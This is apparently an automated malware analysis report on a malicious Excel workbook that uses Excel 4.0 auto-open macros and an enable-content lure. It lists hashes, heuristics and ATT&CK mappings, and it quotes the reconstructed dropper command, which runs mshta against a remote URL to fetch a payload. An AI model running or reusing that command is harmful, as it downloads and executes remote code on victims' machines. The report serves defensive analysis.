Office (OLE) / .XLSX malware analysis — malicious · cc0ff44f620e9260

MALICIOUS

Office (OLE) / .XLSX

63.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: b47f4014d7feaa33891ed2b3639d19c1 SHA-1: 1936ae525274676ac7b652b6eb95afebfdb23f48 SHA-256: cc0ff44f620e9260f44ad51902784c44dd33f1b4c64a1bb278618fa1c7e915dc

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious Link

The sample is an Excel file containing Excel 4.0 macros. It includes a lure to enable content, which is a common technique for malware droppers. The extracted macro defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html', indicating it will execute a command to download a payload from the specified URL. This behavior aligns with a macro-based downloader.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1391 bytes

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